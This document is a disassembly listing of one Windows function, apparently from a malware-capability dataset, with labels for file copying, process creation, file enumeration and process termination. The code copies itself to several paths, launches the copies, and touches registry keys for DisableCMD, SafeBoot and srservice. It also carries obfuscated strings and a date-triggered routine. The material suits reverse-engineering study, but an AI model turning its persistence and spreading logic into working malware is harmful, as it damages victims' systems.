Function at 0x4016a0
Capabilities:
Copy file
Create process on windows
Enumerate files on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4084c1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x688
push ebx
push ebp
push esi
mov ebx, ecx
push edi
mov edi, 0x40c8b8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x290]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x293]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov dword [esp + 0x24], ebx
rep movsb byte es:[edi], byte [esi]
mov edi, 0x411aa0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x28], 0
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x594]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x290]
push ecx
push str._sdfinstall.log
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ebp, dword [sym.imp.MSVCRT.dll_fopen]
lea eax, [esp + 0x5a0]
push 0x40b1f0
push eax
call ebp
add esp, 0x14
test eax, eax
je 0x401773
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov dword [esp + 0x28], 1
jmp 0x40197d
mov ecx, 0x16
mov esi, str.H8Qcc__gphclhk_Wlvwi_Oglg_cpicl_Rpmepco_klk_fcl_Oglcorckicl_Rgqcl_Klk_Igrcfc_Rpgqkfgl
lea edi, [esp + 0x34]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x34]
push ecx
mov ecx, ebx
movsw word es:[edi], word [esi]
call fcn.004027c0
lea edx, [ebx + 0x60]
push 0x40b1f0
push edx
call ebp
add esp, 8
test eax, eax
je 0x401803
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov edi, 0x40dbd4
mov esi, 0x40ced0
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x4017df
test al, al
je 0x4017db
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x4017df
add esi, 2
add edi, 2
test al, al
jne 0x4017b7
xor eax, eax
jmp 0x4017e4
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4017fb
push 0x40
push str.AKU_KELUAR
push str.IYA_DEH__AKU_KELUAR...._SORRY...._____nEH__JANGAN_LUPA_TEPATI_JANJIMU..___
mov ecx, ebx
call sub.MFC42.DLL_CWnd::MessageBoxA
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0x40ddd4
push 0x40ced0
call esi
test eax, eax
je 0x401847
push 0x3ff00000
push 0
push 0x40ddd4
push 0x40fdd4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
push 0x40ddd4
mov ecx, ebx
call fcn.00402800
push 0
push 0x40dfd4
push 0x40ced0
call esi
test eax, eax
je 0x401885
push 0x3ff00000
push 0
push 0x40dfd4
push 0x40fdd4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
push 0x40dfd4
mov ecx, ebx
call fcn.00402800
push 0
push 0x40d9d4
push 0x40ced0
call esi
test eax, eax
je 0x4018c3
push 0x3ff00000
push 0
push 0x40d9d4
push 0x40fdd4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
push 0x40d9d4
mov ecx, ebx
call fcn.00402800
push 0
push 0x40e3d4
push 0x40ced0
call esi
test eax, eax
je 0x401901
push 0x3ff00000
push 0
push 0x40e3d4
push 0x40fdd4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
push 0x40e3d4
mov ecx, ebx
call fcn.00402800
push 0
push 0x40d5d4
push 0x40ced0
call esi
test eax, eax
je 0x40193f
push 0x40490000
push 0
push 0x40d5d4
push 0x40fbd4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
push 0x40d5d4
mov ecx, ebx
call fcn.00402810
push 0
push 0x40dbd4
push 0x40ced0
call esi
test eax, eax
je 0x40197d
push 0x40dbd4
mov ecx, ebx
call fcn.00402810
push 0x3ff00000
push 0
push 0x40dbd4
push 0x40f9d4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
push 4
call sub.MFC42.DLL_operatornew
add esp, 4
mov ecx, ebx
mov dword [esp + 0x18], eax
mov dword [eax], ebx
push str.SYSTEMControlSet001Services_srservice
call fcn.004027c0
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea ebp, [ebx + 0x60]
push ebp
push str.SYSTEMControlSet001Services_srservice
call esi
add esp, 8
mov ecx, ebx
push str.SoftwarePoliciesMicrosoftWindowsSystem
call fcn.004027c0
push ebp
push str.SoftwarePoliciesMicrosoftWindowsSystem
call esi
add esp, 8
mov ecx, ebx
push str.DisableCMD
call fcn.004027c0
push ebp
push str.DisableCMD
call esi
add esp, 8
mov ecx, ebx
push str.SYSTEMControlSet001controlSafeBoot
call fcn.004027c0
push ebp
push str.SYSTEMControlSet001controlSafeBoot
call esi
mov edi, dword [sym.imp.MSVCRT.dll_fopen]
push 0x40b1f0
push 0x40e1d4
call edi
add esp, 0x10
test eax, eax
jne 0x401b0c
mov ecx, ebx
call fcn.00402930
mov ecx, dword [0x40b138]
mov eax, dword [str.pge_gzg]
lea edx, [esp + 0x1c]
mov dword [esp + 0x20], ecx
push edx
mov ecx, ebx
mov dword [esp + 0x20], eax
call fcn.004027c0
lea eax, [esp + 0x1c]
push ebp
push eax
call esi
lea ecx, [esp + 0x24]
lea edx, [esp + 0x39c]
push ecx
push 0x40c8b8
push 0x40b12c
push edx
call esi
lea eax, [esp + 0x3ac]
push 0x40b1f0
push eax
call edi
add esp, 0x20
test eax, eax
je 0x401af9
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, str.gzrmpv_JIG__NMACN_OCAJKLGQ_QVGOAmlvpmnQgv223Qgptkagqqpqgptkag
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x90]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x90]
push ecx
mov ecx, ebx
call fcn.004027c0
push 0x40e1d4
push ebp
lea edx, [esp + 0x98]
push 0x40b0e0
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [esp + 0x90]
lea ecx, [esp + 0x1c]
push 0
push 0x40c8b8
push eax
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edi, dword [sym.imp.MSVCRT.dll_fopen]
jmp 0x401b16
push 0x40b0dc
push 0x40e1d4
call edi
add esp, 8
test eax, eax
je 0x401b16
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov ebp, 0x40ddd4
mov esi, 0x40ced0
mov dl, byte [esi]
mov cl, byte [ebp]
mov al, dl
cmp dl, cl
jne 0x401b49
test al, al
je 0x401b45
mov cl, byte [esi + 1]
mov dl, byte [ebp + 1]
mov al, cl
cmp cl, dl
jne 0x401b49
add esi, 2
add ebp, 2
test al, al
jne 0x401b20
xor eax, eax
jmp 0x401b4e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4022a5
mov ebp, 0x40dfd4
mov esi, 0x40ced0
mov dl, byte [esi]
mov cl, byte [ebp]
mov al, dl
cmp dl, cl
jne 0x401b89
test al, al
je 0x401b85
mov cl, byte [esi + 1]
mov dl, byte [ebp + 1]
mov al, cl
cmp cl, dl
jne 0x401b89
add esi, 2
add ebp, 2
test al, al
jne 0x401b60
xor eax, eax
jmp 0x401b8e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4022a5
mov ebp, 0x40d9d4
mov esi, 0x40ced0
mov dl, byte [esi]
mov cl, byte [ebp]
mov al, dl
cmp dl, cl
jne 0x401bc9
test al, al
je 0x401bc5
mov cl, byte [esi + 1]
mov dl, byte [ebp + 1]
mov al, cl
cmp cl, dl
jne 0x401bc9
add esi, 2
add ebp, 2
test al, al
jne 0x401ba0
xor eax, eax
jmp 0x401bce
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4022a5
mov ebp, 0x40dbd4
mov esi, 0x40ced0
mov dl, byte [esi]
mov cl, byte [ebp]
mov al, dl
cmp dl, cl
jne 0x401c09
test al, al
je 0x401c05
mov cl, byte [esi + 1]
mov dl, byte [ebp + 1]
mov al, cl
cmp cl, dl
jne 0x401c09
add esi, 2
add ebp, 2
test al, al
jne 0x401be0
xor eax, eax
jmp 0x401c0e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4022a5
mov ebp, 0x40e3d4
mov esi, 0x40ced0
mov dl, byte [esi]
mov cl, byte [ebp]
mov al, dl
cmp dl, cl
jne 0x401c49
test al, al
je 0x401c45
mov cl, byte [esi + 1]
mov dl, byte [ebp + 1]
mov al, cl
cmp cl, dl
jne 0x401c49
add esi, 2
add ebp, 2
test al, al
jne 0x401c20
xor eax, eax
jmp 0x401c4e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4022a5
mov ebp, 0x4103d4
mov esi, 0x40ced0
mov dl, byte [esi]
mov cl, byte [ebp]
mov al, dl
cmp dl, cl
jne 0x401c89
test al, al
je 0x401c85
mov cl, byte [esi + 1]
mov dl, byte [ebp + 1]
mov al, cl
cmp cl, dl
jne 0x401c89
add esi, 2
add ebp, 2
test al, al
jne 0x401c60
xor eax, eax
jmp 0x401c8e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4022a5
push 0x40b1f0
push 0x40e7d4
call edi
xor ebp, ebp
add esp, 8
cmp eax, ebp
je 0x401cba
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
jmp 0x401e5c
mov ecx, ebx
call fcn.004030e0
push 0x40e9d4
mov ecx, ebx
call fcn.00402810
push 0x40180000
push ebp
push 0x40ffd4
push 0x40e9d4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
test eax, eax
jne 0x401d3e
push 0x40ebd4
mov ecx, ebx
call fcn.00402810
push 0x402c0000
push ebp
push 0x40ffd4
push 0x40ebd4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
test eax, eax
jne 0x401d3e
push 0x405a0000
push ebp
push 0x410bd4
push 0x40f9d4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
push 0x40ffd4
mov ecx, ebx
call fcn.00402810
push 0x40edd4
mov ecx, ebx
call fcn.00402810
push 0x40140000
push ebp
push 0x4101d4
push 0x40edd4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
test eax, eax
jne 0x401da4
push 0x40efd4
mov ecx, ebx
call fcn.00402810
push 0x402c0000
push ebp
push 0x4101d4
push 0x40efd4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
push 0x4101d4
mov ecx, ebx
call fcn.00402810
push 0x402a0000
push ebp
push 0x4103d4
push 0x40f1d4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
push 0x4103d4
mov ecx, ebx
call fcn.00402810
push 0x3ff00000
push ebp
push 0x4107d4
push 0x40f5d4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
push 0x4107d4
mov ecx, ebx
call fcn.00402810
push 0x402a0000
push ebp
push 0x4109d4
push 0x40f7d4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
push 0x4109d4
mov ecx, ebx
call fcn.00402810
push 0x404c8000
push ebp
push 0x4105d4
push 0x40f3d4
push 0x40ced0
mov ecx, 0x411294
call fcn.00405930
push 0x4105d4
mov ecx, ebx
call fcn.00402810
lea ecx, [esp + 0x14]
call fcn.00408084
lea ecx, [esp + 0x2c]
mov dword [esp + 0x6a0], ebp
call fcn.00408084
push 0x40ced0
lea ecx, [esp + 0x18]
mov byte [esp + 0x6a4], 1
call fcn.004080d8
push 0x40b0d8
push 0x40ced0
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x401eb5
push 0x411aa0
push 0x40b0d8
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::Replace
mov edi, dword [sym.imp.MSVCRT.dll__mbscmp]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x30]
push 1
push eax
mov esi, dword [edx - 8]
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::Right
mov eax, dword [eax]
lea ecx, [esp + 0x2c]
push eax
push 0
mov byte [esp + 0x6a8], 2
call sub.MFC42.DLL_CString::Insert
lea ecx, [esp + 0x30]
mov byte [esp + 0x6a0], 1
call sub.MFC42.DLL_CString::CString
dec esi
push 1
push esi
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::Delete
lea ecx, [esp + 0x1c]
push 1
push ecx
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::Right
mov eax, dword [eax]
push 0x40b0d4
push eax
call edi
add esp, 8
lea ecx, [esp + 0x1c]
test eax, eax
sete bl
call sub.MFC42.DLL_CString::CString
test bl, bl
jne 0x401f42
inc ebp
cmp ebp, 0x200
jle 0x401ebb
mov edx, dword [esp + 0x2c]
lea eax, [esp + 0x394]
push edx
push 0x40b0d0
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x3a0]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x394]
mov edx, ecx
sub eax, 4
add edx, eax
mov edi, 0x40b0cc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x394]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x90]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402024
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, dword [esp + 0x2c]
lea eax, [esp + 0xbc]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x401ff6
test cl, cl
je 0x401ff2
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x401ff6
add eax, 2
add esi, 2
test cl, cl
jne 0x401fd2
xor eax, eax
jmp 0x401ffb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402013
push 1
push 0
lea eax, [esp + 0xc4]
push 0
push eax
push 0
push 0
call ebx
lea ecx, [esp + 0x90]
push ecx
push edi
call ebp
test eax, eax
jne 0x401fc7
jmp 0x40202a
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0x28]
test eax, eax
je 0x4022e3
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call edi
mov esi, 0x4103d4
mov eax, 0x40ced0
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x402078
test cl, cl
je 0x402074
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x402078
add eax, 2
add esi, 2
test cl, cl
jne 0x402054
xor eax, eax
jmp 0x40207d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402132
mov esi, 0x40ffd4
mov eax, 0x40ced0
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4020b3
test cl, cl
je 0x4020af
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4020b3
add eax, 2
add esi, 2
test cl, cl
jne 0x40208f
xor eax, eax
jmp 0x4020b8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402132
mov esi, 0x4109d4
mov eax, 0x40ced0
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4020ea
test cl, cl
je 0x4020e6
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4020ea
add eax, 2
add esi, 2
test cl, cl
jne 0x4020c6
xor eax, eax
jmp 0x4020ef
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402132
push 1
push 0
push 0
push 0x4103d4
push 0
push 0
call ebx
push 1
push 0
push 0
push 0x40ffd4
push 0
push 0
call ebx
push 1
push 0
push 0
push 0x4109d4
push 0
push 0
call ebx
push 0x64
call edi
push 0
call dword [sym.imp.MSVCRT.dll_exit]
mov esi, 0x4103d4
mov eax, 0x40ced0
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x402164
test cl, cl
je 0x402160
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x402164
add eax, 2
add esi, 2
test cl, cl
jne 0x40213c
xor eax, eax
jmp 0x402169
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4021d0
push 0x3e8
call edi
push 0x40b1f0
push 0x40e5d4
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
test eax, eax
je 0x4021b8
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
lea eax, [esp + 0x30]
push eax
call sub.MFC42.DLL_CTime::GetTickCount
mov ecx, dword [eax]
push 0
mov dword [esp + 0x20], ecx
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CTime::GetLocalTm
cmp dword [eax + 0xc], 3
jne 0x4021c8
jmp 0x4021bf
push 0xea60
call edi
mov ecx, dword [esp + 0x24]
call fcn.00403b20
push 0
call dword [sym.imp.MSVCRT.dll_exit]
mov esi, 0x40ffd4
mov eax, 0x40ced0
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x402202
test cl, cl
je 0x4021fe
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x402202
add eax, 2
add esi, 2
test cl, cl
jne 0x4021da
xor eax, eax
jmp 0x402207
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x402223
push eax
push eax
push eax
push eax
mov eax, dword [esp + 0x28]
push eax
push 0x4032f0
call sub.MFC42.DLL_AfxBeginThread
mov dword [0x410de8], eax
mov esi, 0x4109d4
mov eax, 0x40ced0
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x402255
test cl, cl
je 0x402251
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x402255
add eax, 2
add esi, 2
test cl, cl
jne 0x40222d
xor eax, eax
jmp 0x40225a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x402276
push eax
push eax
push eax
push eax
mov eax, dword [esp + 0x28]
push eax
push 0x403310
call sub.MFC42.DLL_AfxBeginThread
mov dword [0x410de4], eax
lea ecx, [esp + 0x2c]
mov byte [esp + 0x6a0], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov dword [esp + 0x6a0], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ebx, dword [esp + 0x24]
mov edi, dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, 0x40e3d4
mov esi, 0x40ced0
mov cl, byte [esi]
mov dl, byte [ebp]
mov al, cl
cmp cl, dl
jne 0x402384
test al, al
je 0x4022dc
mov dl, byte [esi + 1]
mov cl, byte [ebp + 1]
mov al, dl
cmp dl, cl
jne 0x402384
add esi, 2
add ebp, 2
test al, al
jne 0x4022af
xor eax, eax
jmp 0x402389
mov esi, dword [sym.imp.MSVCRT.dll_fopen]
push 0x40b0c8
push 0x40ddd4
call esi
add esp, 8
test eax, eax
je 0x40231a
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
push 1
push 0x40cbc4
push 0
push 0x40ddd4
push 0
push 0
call ebx
push 0x40b0c8
push 0x40dfd4
call esi
add esp, 8
test eax, eax
je 0x402373
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
push 1
push 0x40ccc8
push 0
push 0x40dfd4
push 0
push 0
call ebx
push 1
push 0x40cac0
push 0
push 0x40dbd4
push 0
push 0
call ebx
push 1
push 0x40c8b8
push 0
push 0x40e3d4
push 0
push 0
call ebx
mov ecx, dword [esp + 0x24]
call fcn.004056f0
push 0
call dword [sym.imp.MSVCRT.dll_exit]
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4023b8
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call esi
push 1
push 0
push 0
push 0x4103d4
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0xa
call esi
push 0
call dword [sym.imp.MSVCRT.dll_exit]
mov ebp, 0x4103d4
mov esi, 0x40ced0
mov cl, byte [esi]
mov dl, byte [ebp]
mov al, cl
cmp cl, dl
jne 0x4023eb
test al, al
je 0x4023e7
mov dl, byte [esi + 1]
mov cl, byte [ebp + 1]
mov al, dl
cmp dl, cl
jne 0x4023eb
add esi, 2
add ebp, 2
test al, al
jne 0x4023c2
xor eax, eax
jmp 0x4023f0
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x402463
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
mov ecx, 0x41129c
call fcn.00406280
push 0x40b1f0
push 0x40e5d4
call edi
add esp, 8
test eax, eax
je 0x40244b
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
lea eax, [esp + 0x30]
push eax
call sub.MFC42.DLL_CTime::GetTickCount
mov ecx, dword [eax]
push 0
mov dword [esp + 0x20], ecx
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CTime::GetLocalTm
cmp dword [eax + 0xc], 3
jne 0x402459
jmp 0x402452
push 0xea60
call esi
mov ecx, ebx
call fcn.00403b20
mov ecx, 0x411290
call fcn.00407cb0
mov ebp, 0x40dbd4
mov esi, 0x40ced0
mov dl, byte [esi]
mov cl, byte [ebp]
mov al, dl
cmp dl, cl
jne 0x402496
test al, al
je 0x402492
mov cl, byte [esi + 1]
mov dl, byte [ebp + 1]
mov al, cl
cmp cl, dl
jne 0x402496
add esi, 2
add ebp, 2
test al, al
jne 0x40246d
xor eax, eax
jmp 0x40249b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4025e9
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x41129c
call fcn.00406280
push 0x40b0c8
push 0x40ddd4
call edi
add esp, 8
test eax, eax
je 0x4024f3
mov ebp, dword [sym.imp.MSVCRT.dll_fclose]
push eax
call ebp
add esp, 4
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 1
push 0x40cbc4
push 0
push 0x40ddd4
push 0
push 0
call esi
jmp 0x4024ff
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ebp, dword [sym.imp.MSVCRT.dll_fclose]
push 0x40b0c8
push 0x40dfd4
call edi
add esp, 8
test eax, eax
je 0x402540
push eax
call ebp
add esp, 4
push 1
push 0x40ccc8
push 0
push 0x40dfd4
push 0
push 0
call esi
push 1
push 0x40c8b8
push 0
push 0x40e3d4
push 0
push 0
call esi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x18]
push 0
push 0
push 0
push 0
push edx
push 0x402910
call sub.MFC42.DLL_AfxBeginThread
push 0x40b1f0
push 0x40e1d4
mov dword [0x410ddc], eax
call edi
push 0x40b1f0
push 0x40d7d4
call edi
add esp, 0x10
test eax, eax
je 0x40258e
push eax
call ebp
add esp, 4
jmp 0x402595
mov ecx, ebx
call fcn.004030e0
lea eax, [esp + 0x24]
push eax
call sub.MFC42.DLL_CTime::GetTickCount
mov ecx, dword [eax]
push 0
mov dword [esp + 0x2c], ecx
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CTime::GetLocalTm
mov edx, dword [eax + 0x18]
inc edx
cmp edx, 2
je 0x4025cd
push 0
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CTime::GetLocalTm
mov eax, dword [eax + 0x18]
inc eax
cmp eax, 6
jne 0x4025e9
mov ecx, dword [esp + 0x18]
push 0
push 0
push 0
push 0
push ecx
push 0x402830
call sub.MFC42.DLL_AfxBeginThread
mov dword [0x410dd4], eax
mov esi, 0x40ddd4
mov eax, 0x40ced0
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x40261b
test cl, cl
je 0x402617
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x40261b
add eax, 2
add esi, 2
test cl, cl
jne 0x4025f3
xor eax, eax
jmp 0x402620
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40268c
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x2710
call esi
mov ecx, 0x41129c
call fcn.00406280
mov ebx, dword [esp + 0x18]
push 0
push 0
push 0
push 0
push ebx
push 0x4032f0
call sub.MFC42.DLL_AfxBeginThread
push 0x7530
mov dword [0x410de8], eax
call esi
push 0x40b0c8
push 0x40d9d4
call edi
add esp, 8
push 0x4e20
call esi
push 0
push 0
push 0
push 0
push ebx
push 0x402850
call sub.MFC42.DLL_AfxBeginThread
mov dword [0x410de0], eax
mov esi, 0x40dfd4
mov eax, 0x40ced0
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x4026be
test cl, cl
je 0x4026ba
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x4026be
add eax, 2
add esi, 2
test cl, cl
jne 0x402696
xor eax, eax
jmp 0x4026c3
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x402710
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x2710
call esi
mov ecx, 0x41129c
call fcn.00406280
mov eax, dword [esp + 0x18]
push 0
push 0
push 0
push 0
push eax
push 0x403310
call sub.MFC42.DLL_AfxBeginThread
push 0x7530
mov dword [0x410de4], eax
call esi
push 0x40b0c8
push 0x40e3d4
call edi
add esp, 8
mov esi, 0x40d9d4
mov eax, 0x40ced0
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x402742
test cl, cl
je 0x40273e
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x402742
add eax, 2
add esi, 2
test cl, cl
jne 0x40271a
xor eax, eax
jmp 0x402747
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40279d
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 1
push 0x40cbc4
push 0
push 0x40ddd4
push 0
push 0
call esi
push 1
push 0x40ccc8
push 0
push 0x40dfd4
push 0
push 0
call esi
push 1
push 0x40c8b8
push 0
push 0x40e3d4
push 0
push 0
call esi
push 0
call dword [sym.imp.MSVCRT.dll_exit]
mov ecx, dword [esp + 0x698]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret